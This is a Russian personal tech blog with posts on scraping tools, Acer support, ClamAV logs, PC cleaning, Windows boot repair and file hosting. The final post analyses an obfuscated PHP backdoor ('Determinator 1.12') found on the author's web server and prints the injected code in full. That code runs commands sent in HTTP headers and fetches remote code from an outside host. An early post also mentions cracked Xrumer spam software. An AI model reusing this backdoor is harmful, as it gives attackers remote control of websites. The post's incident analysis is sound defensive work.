Хек трик. И это не то что вы подумали.

Нужна альтернатива Hrefer для Google??

2013-06-16T02:47:00.005-07:00

Вот и мне понадобилась альтернатива Hrefer. Предположим, что в силу разных причин он вам нужен, но его у вас нет. И тут перед вами встаёт выбор: либо вложиться на 650$, либо найти отломанный комплекс Xrumer, либо поискать аналоги. В любом случае я альтернативу для Гугла нашел. Далее обо всём по порядку.

650$ сумма не маленькая и вы наверняка с большим желанием приобретёте здоровую плазму домой на стену. На самом деле у меня есть лицензия, но она активирована на двух серверах, которые успешно померли и возможности активации ближайшие две недели у меня не предвидится.

Отломанного хрума я перекачал тоже не мало, ~~вам тоже советую повторить этот опыт чтобы твёрдо убедиться~~ - он не работает. Хотя сам Хрумер что-то там бегал (об эффективности ничего сказать не могу), а вот Hrefer вообще никак. Версии комплекта младше 7 вообще можно не рассматривать.

Из аналогов я очень плотно присмотрелся к Xseon - ну вообще всё не так после Xrumer. И парсер такой же инопланетный + Demo упорно не парсила гугл. А ведь именно Google интересует больше всего.

Итого, качнул я тут для ознакомления Zennoposter и понял - вот за кем будущее. Меня интересовала только выдача гугла. Не буду ничего больше писать, просто скажу - я очень доволен результатом работы своего шаблона.

Особенно после таких плясок с бубном и Hrefer: то ему googlehosts.txt надо обновить, то количество потоков должно быть меньше количества слов, то engines.ini не актуальный, то вообще Hrefer упорно работает на ~30 потоках при выставленных 300 и при наличии ~1500 живых прокси. И это 100% лицензия, то есть предполагается саппорт, но саппорт заканчивается форумом, где предложенные решения эффекта не дали (engines.ini и goglehosts.txt там уже устаревшие).

Если вам в силу разных причин также необходим альтернативный парсер гугла - продам вам свой шаблон для парсинга гугла под ZennoPoster за 10$. И сумма небольшая, и мне приятно. Отписываемся в комментариях или стучимся в аську #296#463#859#.

Пару ласковых в сторону Acer и их техподдержки в частности

2011-12-20T02:12:00.000-08:00

Девайс (Acer Aspire One Happy 2) на гарантии и обычно это подразумевает поддержку устройства.

Пишу в техподдержку. Вопрос в части BIOS. Я использую Virtual Box для эмуляции другой операционной системы. При запуске образа с количеством процессоров более одного (выделяемых данной виртуальной машине) вылетает сообщение об ошибке:

Не удалось открыть сессию для виртуальной машины FreeBSD.

VT-x features locked or unavailable in MSR. (VERR_VMX_MSR_LOCKED_OR_DISABLED).

Код ошибки: E_FAIL (0x80004005)
Компонент: Console
Интерфейс: IConsole {1968b7d3-e3bf-4ceb-99e0-cb7c913317bb}

Исходя из спецификаций на процессор Atom N570 технология VT-x заблокирована в BIOS. Я нашел техническую документацию по разблокировке VT-x.

Прошу вас внести необходимые изменения для возможности включения/отключения VT-x в BIOS. Скриншот ошибки прилагаю.
ОС: предустановленная Windows 7 Starter 32 бита, автоматическое обновление включено.
Версия VirtualBox - 4.1.6 r74713 (последняя на сегодняшний день)
Версия BIOS: 1.14 (брал с оффициального сайта)

Ответ:
Добрый день, Благодарим Вас за обращение в службу технической поддержки. К сожелению внесение подобных изменений в BIOS, политикой компание Acer не предусмотренно. С уважением,Техническая поддержка Acer Евгений

О_о Убило просто.

PS.
Вопрос в тех поддержку Acer: имеет ли моя модель Acer Aspire One HAPPY 2 встроенный модуль 3G? Разъём в батарейном отсеке имеется, однако на сайте в технической документации сведения о его наличии отсутствуют. В некоторых обзорах написано о его наличии. В разделе драйверов на сайте также выложены драйвера для поддержки данного модуля. Прошу внести ясность.

Ответ: благодарим Вас за обращение в службу технической поддержки. К сожелению для Российского рынка 3g модуль не устанавливается. С уважением,Техническая поддержка Acer Евгений

Мда, совсем Евгений меня не радует.. А что за девайс такой HUAWEI Mobile Connect - Bus Enumerate Device у меня в устройствах светится? В общем, надо самому посидеть на досуге по данным сабжам. У кого есть инфа - поделитесь плиз. Будет круто если и BIOS зафиксим и 3G-модемчик разлочим ;)

Clam AV - ложное срабатывание или нет [False Positive or not]??

2011-04-26T07:08:00.000-07:00

Народ, кто знает, не пойму. В логах вирусной активности:

Sun Apr 24 22:46:26 2011 -> /var/spool/exim/scan/1QE4K9-000GQ1-P9/1QE4K9-000GQ1-P9.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:49:48 2011 -> /var/spool/exim/scan/1QEEg6-000MjL-Ic/1QEEg6-000MjL-Ic.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:01 2011 -> /var/spool/exim/scan/1QEEiG-000Mlz-Ej/1QEEiG-000Mlz-Ej.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:08 2011 -> /var/spool/exim/scan/1QEEiN-000Mm4-4z/1QEEiN-000Mm4-4z.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:15 2011 -> /var/spool/exim/scan/1QEEiU-000MmA-N6/1QEEiU-000MmA-N6.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:22 2011 -> /var/spool/exim/scan/1QEEib-000MmI-9f/1QEEib-000MmI-9f.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:36 2011 -> /var/spool/exim/scan/1QEEip-000Mma-Hd/1QEEip-000Mma-Hd.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:42 2011 -> /var/spool/exim/scan/1QEEiv-000Mmm-52/1QEEiv-000Mmm-52.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:47 2011 -> /var/spool/exim/scan/1QEEj0-000Mmv-NL/1QEEj0-000Mmv-NL.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:54:46 2011 -> /var/spool/exim/scan/1QEEku-000MoS-RQ/1QEEku-000MoS-RQ.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:56:50 2011 -> /var/spool/exim/scan/1QEEmv-000MsJ-89/1QEEmv-000MsJ-89.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 10:12:10 2011 -> /var/spool/exim/scan/1QEF1l-000NBR-Dp/1QEF1l-000NBR-Dp.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 10:21:59 2011 -> /var/spool/exim/scan/1QEFBH-000NSq-Ec/1QEFBH-000NSq-Ec.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 10:22:36 2011 -> /var/spool/exim/scan/1QEFBr-000NUY-W1/1QEFBr-000NUY-W1.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 10:45:15 2011 -> /var/spool/exim/scan/1QEFXl-000O6Z-Sd/1QEFXl-000O6Z-Sd.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 10:48:19 2011 -> /var/spool/exim/scan/1QEFal-000OBv-0u/1QEFal-000OBv-0u.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 12:02:23 2011 -> /var/spool/exim/scan/1QEGkO-0000Ds-5s/1QEGkO-0000Ds-5s.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 12:03:36 2011 -> /var/spool/exim/scan/1QEGlZ-0000Fb-5b/1QEGlZ-0000Fb-5b.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 12:04:38 2011 -> /var/spool/exim/scan/1QEGmZ-0000H8-9z/1QEGmZ-0000H8-9z.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 12:05:25 2011 -> /var/spool/exim/scan/1QEGnJ-0000Ii-Eg/1QEGnJ-0000Ii-Eg.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 12:55:16 2011 -> /var/spool/exim/scan/1QEHZY-0001mE-1B/1QEHZY-0001mE-1B.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 15:30:29 2011 -> /var/spool/exim/scan/1QEJzh-0005qW-UI/1QEJzh-0005qW-UI.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 15:43:43 2011 -> /var/spool/exim/scan/1QEKCV-0006CV-5A/1QEKCV-0006CV-5A.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 18:11:28 2011 -> /var/spool/exim/scan/1QEMVV-000967-UE/1QEMVV-000967-UE.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 18:14:23 2011 -> /var/spool/exim/scan/1QEMYK-00098d-VU/1QEMYK-00098d-VU.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 18:15:32 2011 -> /var/spool/exim/scan/1QEMZR-00099L-BH/1QEMZR-00099L-BH.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 18:17:07 2011 -> /var/spool/exim/scan/1QEMaz-0009AY-Av/1QEMaz-0009AY-Av.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 18:18:14 2011 -> /var/spool/exim/scan/1QEMc3-0009BY-PZ/1QEMc3-0009BY-PZ.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 22:44:11 2011 -> /var/spool/exim/scan/1QEQlH-000BSN-Rv/1QEQlH-000BSN-Rv.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 22:54:33 2011 -> /var/spool/exim/scan/1QEQvY-000BX2-7N/1QEQvY-000BX2-7N.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 22:54:41 2011 -> /var/spool/exim/scan/1QEQvg-000BXE-Qw/1QEQvg-000BXE-Qw.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 22:54:46 2011 -> /var/spool/exim/scan/1QEQvl-000BXN-MT/1QEQvl-000BXN-MT.eml: PUA.PDF.OpenActionObject FOUND
Tue Apr 26 11:07:11 2011 -> /var/spool/exim/scan/1QEcMZ-000ING-D5/1QEcMZ-000ING-D5.eml: Worm.Mydoom.I FOUND
Tue Apr 26 11:07:14 2011 -> /var/spool/exim/scan/1QEcMb-000ING-9L/1QEcMb-000ING-9L.eml: Worm.Mydoom.I FOUND
Tue Apr 26 11:07:31 2011 -> /var/spool/exim/scan/1QEcMs-000INz-Pr/1QEcMs-000INz-Pr.eml: Suspect.DoubleExtension-zippwd-9 FOUND
Tue Apr 26 16:13:30 2011 -> /var/spool/exim/scan/1QEh90-0000cI-A8/1QEh90-0000cI-A8.eml: Worm.Mydoom.I FOUND

Видно, что основную массу срабатываний составляют некие 
PUA.PDF.EmbeddedJS, PUA.PDF.OpenActionObject.

Народ активно жалуется, что не отправлялись pdf-файлы, которые раньше уходили нормально. Собственно, вопрос, это ложное срабатывание или нет??? Потому что сегодня уже ничего подобного не наблюдается... Случайно сигнатуры в базу попали?? Кто в курсе, подскажите плиз, у меня к сожалениб нет на руках образца файла.

Как довести компьютер до ручки?? =)

2011-02-20T12:32:00.000-08:00

Привезли компьютер, говорят перезагружается, просили посмотреть =) Сперва думал что-то из серии оперативная память/жесткий диск/перегрев, но даже не включая компьютер всё стало ясно =)))) Итак, сегодня у нас маленький IT-комикс.

Главный положительный герой:

Это Samsung VC-5915 (Red)

Он у нас в роли Мойдодыра сегодня =) Теперь антипод и его главный противник:

Это как вы поняли системный блок..

Ну а врага, как известно, надо знать в лицо:

Это системный блок, собранный в компании Столица

А теперь, резонный вопрос. В чем же суть борьбы нашего Мойдодыра с корнем зла в лице системного блока собранного в фирме Столица??? Дело в том, что после любого перемещения данного системника, остаются весьма характерные следы. Примерно такие:

Фуууууу =)

О май гадабл!! =)

Под катом продолжение, много картинок =) Честно говоря, давно такой жести не видел =) Всем кто озадачен вопросом чистить или не чистить системный блок внутри рекомендуется к просмотру.

Ещё раз общий план:

Наверное, этот системник живёт в каких-нибудь катакомбах где в добавок постоянно делают какие-нибудь ремонтные работы.


Вот оно!! Единство и борьба противоположностей!! =)

Начал с оснащения моего недавно приобретенного Samsung VC-5915 новым мешком-пылесборником. Старый после уборки новогодний ёлки пришел в полную негодность. Использовал мешки-пылесборники top House артикул TH 102S.

Устанавливаем их в пылесос:

Одеваем щётку по случаю.... Ну и наш Мойдодыр к бою готов:

Дальше жесть. Ад компьютерщика:

По всей материнской плате лунные ландшафты.. Что за мать - не понятно. Точно с Луны. Логотип AMD detected.

Всё добротно присыпано "лунным грунтом" =)

А здесь какая-то лунная биомасса... новая форма жизни???

Жесть полная

Немного усилий и мы определяем, что это мать MSI

И там некая биомасса

Проводим пальцем и понимаем, что в оригинале оно должно быть ярко красным !!

Ещё немного и биомасса захватила бы всё пространство системного блока

И тут появляется наш главный герой - Мойдодыр и начинает бороться с биомассой!!!

Слава герою-освободителю

Но работы здесь не на пять минут

Биомасса хедшотед =)

Да-да, именно так, она реально красная) Никакого фотошопа.

Я бы мог и Intel вывести, но не поместилось.

С этой стороны тоже надо заглянуть

Кулер взвывает под всасывающей силой Samsungа

MSI - на кого ты стала похожа????

WD Caviar Green оказался... Был вполне себе grey.. или даже Brown =)

Постапокалептическая картина =)

Уже что-то проясняется =))

Защелка кулера - снять бы, но если нет термопасты под рукой, ни в коем случае не нарушайте термоинтерфейс!!

Система кстати очень сбалансированна, всего 450W хватает

Барханы на оперативной памяти меня особо доставляют

Это реально барханы!!!

Снова раздуваем кулер

Барханы повержены, но оставшийся слой даже пылесосом не берется

Здесь даже наш Мойдодыр оказался бессилен

Совсем другое дело, чисто!!

На материнке снова читаются наименования

А перед нами кстати оказалась MSI 770-G45 =)

Теперь как новенькая

Всё работает и больше не виснет - потому что не греется

А это мой дисерт =) Пломбир с шоколадом.

Люди, проявляйте хотя бы немного уважения к вашей технике и она будет уважать вас. Я не знаю в какой сарай попал этот компьютер, но его стало реально жалко. Я использовал обычный бытовой пылесос Samsung VC-5915 мощностью 1500 W. Я уверен, что любой "автомобильный" здесь бы просто не справился, потому что реально нижний слой пыли отходил только при более плотном контакте с насадкой-щеткой.

Я извлек видеокарту и оперативную память. Отключил шнур питания материнской платы, для более эффективной очистки процессорного радиатора и пространства рядом с ним. Сам кулер и радиатор ни в коем случае не снимать. Попадёт пыль. Попадёт пыль - будет только хуже.

Процессор там кстати Athlon 64 x3 425 (2.7GHz).. Да, я знаю, что там четвертое ядро можно попробовать разблокировать и про кеш третьего уровня тоже... Но ведь тогда в системнике точно наступит последний день помпеи. И придется мне его раскапывать уже для музея =)

HELP!! Синий экран!! UNMOUNTABLE_BOOT_VOLUME

2011-02-19T12:51:00.000-08:00

Синий экран смерти при загрузке

Синий экран и сообщение UNMOUNTABLE_BOOT_VOLUME. Как на картинке. Выскакивает практически сразу при загрузке. Неприятная штука, которая однозначно свидетельствуют о проблемах с жестким. Теперь что с ними делать. Правильная последовательность действий, которая при хорошем раскладе позволит вам загрузиться в вашу Windows и оглядеться привычным для вас способом, сделать резервные копии важных данных. Самое главное, нам обязательно потребуется загрузочный диск. Можно использовать оригинальный установочный диск Microsoft Windows XP, а можно использовать разного рода Hirens Boot CD или даже Zver DVD как, пожалуй, более комплексный инструмент по восстановлению системы. Проблему надо решать и основным ориентиром будем считать минимальное время решения проблемы и минимальность внесения изменений в структуру файловой систем и геометрии жесткого диска.

Самый быстрый вариант. Необходимо попасть в консоль восстановления. Выставляем загрузку с CD/DVD/Bluray - привода и загружаемся с оптического носителя. Нам надо запустить установщик Windows XP, а потом, когда предложат, нажать R для входа в консоль восстановления. Будьте готовы ввести пароль администратора. Если вы его не знаете и не знали, то как раз здесь Hirens и Zver реально могут прийти вам на помощь, поскольку умеют скидывать пароль на любой заданный вами =) После этого вы попадете в командную строку, где вам необходимо запустить проверку жесткого диска.

C:\chkdsk

Если вам повезло, то после того как проверка завершится перезагружаемся (не забудьте, что грузится необходимо с жесткого диска, а не с привода!!) и синего экрана больше не наблюдаем. Если синий экран по-прежнему сохраняется, снова заходим в консоль восстановления, теперь запускаем более продвинутый вариант проверки.

C:\chkdsk /p /r

Теперь проверка будет значительно дольше, я например успел поспать и посмотреть фильм =) Но это очень сильно зависит от степени и характера повреждений. Когда проверка закончится опять перезагружаемся и смотрим, исчез ли синий экран. В 95% случаев, всё хорошо.

Оставшиеся 5% это уже более серьезные проблемы с вашим жестким диском, я бы рекомендовал оочень серьезно подумать о его замене, особенно если там имеется важная информация. Следующие две команды лучше не использовать если у вас установлено нескольк операционных систем или какой-то сторонний загрузчик. Но если выбора нет, то пробуем в консоли восстановления:

C:\fixboot

Если не помогло, то можно также попробовать

C:\fixmbr

Если ещё не заработало, то пошли самые тяжелые случаи. Если у вас Hirens, то однозначно запускаем MHDD и нажимаем F4. Если у вас Zver, то Victoria, но как там запустить проверку с ремапом уже не вспомню. К сожалению, оригинальный установочный диск Microsoft Windows XP ничего подобного в составе не имеет. Надеюсь, многим поможет, поскольку как раз сегодня поднял на ноги систему соседу, за что он мне был очень и очень признателен =) А о приобретении ещё одного жесткого всё-таки подумайте всерьез, вместе с сопутствующими деталями, например, шлейфы.

Файловый хостинг с прямой ссылкой на скачивание

2011-02-18T08:45:00.000-08:00

Беда приходит откуда не ждешь. Приболел немного.. остался дома А тут звонок срочный с работы. В итоге надо перекинуть файл с домашнего компьютера ~2ГБ на компьютер в корпоративной сети. При этом в Интернет светит лишь корпоративный веб-сервер под управлением FreeBSD. А домашний компьютер находится во внутренней провайдерской сети и имеет внутренний ip вида 10.1.15.2. Вот незадача. Итого мне срочно понадобилось файловое хранилище отвечающее следующим требованиям:

Возможность скачивания по прямой ссылке
Возможность быстрого удаления файлов после скачки
Ограничение на суммарный объём предоставляемого места более 2.5ГБ
Ограничение на объём одного файла более 2.5ГБ
Бесплатный или безвозмездный =)

Читаем дальше.

Выделим первый и последний пункт. На сервере под управлением FreeBSD из качалок доступна только fetch, которая прекрасно качает, но не имеет возможности обработки разных капч перед скачкой, не умеет ожидать 60 сек перед получением ВАШЕЙ ссылки на скачивание файла. А бесплатно, поскольку ситуация скорее всего разовая, то и вкладываться в это смысла нет. А если уж найдется такой сервис, то будем брать его на заметку.

В общем, не буду вырисовывать сравнительную табличку файл-хостингов, просто скажу что идеально подошло хранилище Яндекса =)

Я уже предвижу, как тонны планктона начинают возмущаться, что не может такого быть, там надо вводить капчу.... Всё верно. Капчу вводить надо. Но вот потом даётся прямая ссылка на скачивание, которую надо скопировать, она будет в себе содержать некий id-сессию скачки, так вот самое главное, этот id-сессия не привязан к IP-адресу!!!

Это значит, что капчу я ввел с домашнего компа, а fetch с линком запустил на удаленном. Тогда как некоторые из претендентов срезались именно на этом моменте. Я в требованиях не выписывал, но Яндекс.Народ также показал не высокую, но достойную скорость отдачи. В моем случае 231КБ/сек, что согласитесь, весьма приемлимо для 2ГБ.

Не сочтите пост за агитацию сервиса, просто реально выручил, за что его создателям большое спасибо. Если кто-то может подсказать ещё варианты решения проблемы - милости прошу в комментарии.

Determinator. Versio 1.12.

2011-02-17T13:03:00.000-08:00

В преддверии очередного конкурса RuCTF хочу рассказать о небольшой задачке, которую подкинула сама жизнь. Всё началось с того, что мною были предоставлены логин и пароль для доступа к хостинг-площадке. Являясь администратором данного сервера, я периодически мониторю пользовательскую активность. Не буду приводить лишние логи, просто увидел подозрительную пользовательскую активность и заметил, что в файлах на моем веб-сервере появился лишний код, причем очень любопытный. Вот например, примерчик из index.php:

<?php /*versio:1.12*/if (!defined ("determinator")){eval(base64_decode('ZnVuY3Rpb24gdVAxUFFvWmZhZXpHN0xDSWVIek10OTczZ0RJZ2NnbDlQbWNmU0VkTkRMUUJoWGg4T2E1MEY0bGg0SDIwb0NGcSgkcWwxNk9HQTNRZkl2MlFYSjZkSEF1ZzhKbWZyRXBhaURjcm1FRnJPZFRWVFNnUjFDb0pmQVVRUDNqR3pORVV4bCl7cmV0dXJuIGV2YWwoJHFsMTZPR0EzUWZJdjJRWEo2ZEhBdWc4Sm1mckVwYWlEY3JtRUZyT2RUVlRTZ1IxQ29KZkFVUVAzakd6TkVVeGwpO307ZnVuY3Rpb24gaG9lMTdwcDRRYkVYZkZlU0dkTFZaWG5yMFFwWmY0aE5qc0lidlA5RkJEVVJoUVg5cmFHYUpWZEVIZEp6c3E3bygkek5WNUxwMHowclBqRzBhdHhMcHhBTWViRTlSaTZDTklEQ1FqdnJqYloyZHhpM0JYM0RBNDBhMDdPRWFDYTM4MSl7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJHpOVjVMcDB6MHJQakcwYXR4THB4QU1lYkU5Umk2Q05JRENRanZyamJaMmR4aTNCWDNEQTQwYTA3T0VhQ2EzODEpO307ZnVuY3Rpb24gZUFmQjJmZFVRSkVQUFNGYXFtbkJtb2gyeG9IZXZnc21RSkQxZGFkZ1JCUjdxc2pOZ2VPR1Q4NmxhTGxvTEUxbCgkbENpaWV6c0YzYm1Uam9pNjlHWkxFemQzaTg1WGNGYnhBbE9EZ05neGRpQTRCUWZzTW5yQXRYdDFwVFpTZVNUMCl7cmV0dXJuICRsQ2lpZXpzRjNibVRqb2k2OUdaTEV6ZDNpODVYY0ZieEFsT0RnTmd4ZGlBNEJRZnNNbnJBdFh0MXBUWlNlU1QwO307'));uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq("\$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX=\"ID8+PD9waHAKDQppZiAoIWRlZmluZWQoJ2RldGVybWluYXRvcicpKXsNCglmdW5jdGlvbiBmaWx0ZXIoKXsNCgkJZm9yZWFjaCAoJF9HRVQgYXMgJGs9PiR2KXsNCgkJCWlmIChzdHJwb3MoJHYsJ3VuaW9uJykpeyRfR0VUWyRrXT0nJzt9DQoJCQllbHNlaWYgKHN0cnBvcygkdiwnc2VsZWN0JykpeyRfR0VUWyRrXT0nJzt9DQoJCX0NCgl9DQoJZnVuY3Rpb24gZ2V0ZmlsZSgkdXJsKXsNCgkJaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpID09ICcxJykgew0KCQkJcmV0dXJuIEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCgkJfQ0KCQllbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3\";\$qzag2PJGViBvNroZVJBtucpirLzhqhsH4ba8NtdfGB3vVp4DJLXCHaG2aVedPTGD=\$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX.\"VybF9pbml0Jykpew0KCQkJJGNoID0gQGN1cmxfaW5pdCgpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsJHVybCk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUixmYWxzZSk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCw1KTsNCgkJCWlmICgkZGF0YSA9IEBjdXJsX2V4ZWMoJGNoKSkge3JldHVybiAkZGF0YTt9DQoJCQlAY3VybF9jbG9zZSgkY2gpOw0KCQl9DQoJCWVsc2Ugew0KCQkJcmV0dXJuICc8aW1nIHNyYz0iJy4k\";\$izSFvLOZZfLx0L3Id8vqshucRpppZ56jGTLnQnBHaBhc6EzjZTm1U4u2M2TnNFnO=\$qzag2PJGViBvNroZVJBtucpirLzhqhsH4ba8NtdfGB3vVp4DJLXCHaG2aVedPTGD.\"dXJsLiciIHdpZHRoPSIxcHgiIGhlaWdodD0iMXB4IiAvPic7DQoJCX0NCgl9DQoJZnVuY3Rpb24gdXBkKCRmaWxlLCR1cmwpew0KCQkkaDA9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCUBmY2xvc2UoJGgwKTsNCgkJaWYgKEBpc19maWxlKCRmaWxlKSl7CXdyaXRlKCRmaWxlLGdldGZpbGUoJHVybCkpIDt9Ow0KCX0NCglmdW5jdGlvbiB3cml0ZSgkZmlsZSwkY29udGVudCl7DQoJCWlmIChAaXNfZmlsZSgkZmlsZSkpew0KCQkJJGg9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCQlAZndyaXRlKCRoLCRjb250ZW50KTsNCgkJCUBmY2xvc2UoJGgpOw0KCQkJQGhlYWRlcignWV9PdXQ6IGIycz0nKTsNCg\";\$bDJpgalTmsc753HoQ8zdILOHvhHBHqVC724mveCCC4Gb0ESMOM5q1q5zHnfQ0SmU=\$izSFvLOZZfLx0L3Id8vqshucRpppZ56jGTLnQnBHaBhc6EzjZTm1U4u2M2TnNFnO.\"kJfQ0KCX0NCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7DQoJJHR5cGU9J2JvdCc7DQoJJHZlcj0nMS4xMic7DQoJJGVuPSJiYXNlNjRfZW5jb2RlIjsNCgkkZGU9ImJhc2U2NF9kZWNvZGUiOw0KCSRob3N0PXN0cnRvbG93ZXIoQCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQoJJHNjPUBtZDUoJGhvc3QuUEhQX1ZFUlNJT04uJHZlci5QSFBfT1MuJzQnKTsNCglkZWZpbmUoJ2RldGVybWluYXRvcicsMSk7IGZpbHRlcigpOw0KCWlmICgkdXJpPSRob3N0LkAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSl7DQoJCSR0bXA9Jy90bXAvJzsNCgkJaWYgKCFlbXB0eSgkX0VOVlsnVE1QJ10pKSB7\";\$sHP7ZQTANrHhN9c80jOBI7z1Qfx62qvOH1XeVuRFXGhL0vzPEJbZ9QoGx7mBlD3m=\$bDJpgalTmsc753HoQ8zdILOHvhHBHqVC724mveCCC4Gb0ESMOM5q1q5zHnfQ0SmU.\"ICR0bXAgPSAgJF9FTlZbJ1RNUCddLicvJzsgfQ0KCQlpZiAoIWVtcHR5KCRfRU5WWydUTVBESVInXSkpIHsgJHRtcCA9ICRfRU5WWydUTVBESVInXS4nLyc7IH0NCgkJaWYgKCFlbXB0eSgkX0VOVlsnVEVNUCddKSkgeyAkdG1wID0gJF9FTlZbJ1RFTVAnXS4nLyc7IH0NCgkJJHRtcD0kdG1wLicuJy4kc2M7DQoJCWlmIChAJF9TRVJWRVJbIkhUVFBfWV9BVVRIIl09PSRzYyl7DQoJCQlAaGVhZGVyKCdZX1ZlcnNpbzogJy4kdmVyLiR0eXBlKTsNCgkJCWlmICgkY29kZT0kZGUoQCRfU0VSVkVSWydIVFRQX0VYRUNQSFAnXSkpew0KCQkJCUBldmFsKCRjb2RlKTsNCgkJCQlleGl0KDApOw0KCQ\";\$cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9=\$sHP7ZQTANrHhN9c80jOBI7z1Qfx62qvOH1XeVuRFXGhL0vzPEJbZ9QoGx7mBlD3m.\"kJfQ0KCQkJaWYgKCRjbWQ9JGRlKEAkX1NFUlZFUlsnSFRUUF9VUERBVEUnXSkpe3VwZCgkdG1wLCRjbWQpO30NCgkJCWlmICgkY21kPSRkZShAJF9TRVJWRVJbJ0hUVFBfUFVUQ09ERSddKSl7d3JpdGUoJHRtcCwkY21kKTt9DQoJCX0NCgkJJHVyaT1AdXJsZW5jb2RlKCR1cmkpOw0KCQlpZiAoQGlzX2ZpbGUoJHRtcCkpe0BpbmNsdWRlX29uY2UgKCR0bXApO30NCgkJZWxzZSB7dXBkKCR0bXAsImh0dHA6Ly8iLiJnZXRwcm90Ii4ib2J5Ii4ibnVtYmVyLiIuImNvbSIuIi9pL3JlbSIuIi5waHA/dT0iLiR1cmkuIiZrPSIuJHNjLiImdD0iLiR0eXBlKTt9DQogICAgfQ0KfQ0KPz48P3BocCA=\"; uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq(eAfB2fdUQJEPPSFaqmnBmoh2xoHevgsmQJD1dadgRBR7qsjNgeOGT86laLloLE1l(hoe17pp4QbEXfFeSGdLVZXnr0QpZf4hNjsIbvP9FBDURhQX9raGaJVdEHdJzsq7o(\$cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9))); ");}?>

Как видите, говоря "очень любопытный" я не лукавил)) Опытный глаз сразу поймет, что это обфусцированный код. Задача деобфускации всегда порождает очень много вопросов, особенно у тех, кто впервые сталкивается с обфусцированным кодом. Причем скажу, что написать какой-то универсальный деобфускатор архисложная задача ввиду очень большого числа подходов и методов к обфускации кода. Поэтому на живом реальном примере покажу, что надо делать с такой штукой.

Во-первых, если вы малоопытны в подобных вопросах, лучше сразу обратиться к поисковикам. Данный код имеет отличительные признаки, это: versio:1.12 и determinator. Имеет смысл сразу искать по ним. На сегодня я нахожу лишь сам код и удивленные возгласы на тему "а откуда это взялось в моих скриптах". По датам сообщений и их количеству можно сказать, что это массовое явление, которое началось в начале 2011 года.

Во-вторых, не каждый обфусцированный код подлежит однозначной прямой деобфускации. Я сталкивался с примерами, когда скрипт принимает ряд параметров-ключей, которые необходимы для корректной работы кода. Длина подобного рода информации ограничивается объёмами массивов $_GET, $_POST.. То есть исчисляется мегабайтами. Значит перебирать все возможные значения врядли перспективно.

В-третьих, если время для принятия решения ограничено, не стоит мучиться с кодом, сразу берите php-дебагер и просто наблюдайте за переменными. В 90% вы поймете функционал скрипта по тем переменным и значениям что он использует.

Мне с одной стороны повезло, с другой стороны не повезло. Я заметил подозрительную активность. Это плюс. Первым делом я решил проверить это код прямым обращением к скрипту через веб. Это минус. Сколько раз я встречал подозрительные скрипты которые оказывались частью вусивуг-реадктора или фотогаллереи.. И надо сказать, это притупило мою осторожность.

Я окончательно убедился что совершил ошибку, когда заглянул в логи веб-сервера и понял, что я первый посетитель с момента создания виртуального хоста-домена. Через 15 минут на сайт заглянули ещё два хоста:

78.56.181.186 - - [16/Feb/2011:16:34:10 +0300] "GET / HTTP/1.1" 200

112.201.24.25 - - [16/Feb/2011:16:34:13 +0300] "GET / HTTP/1.1" 200

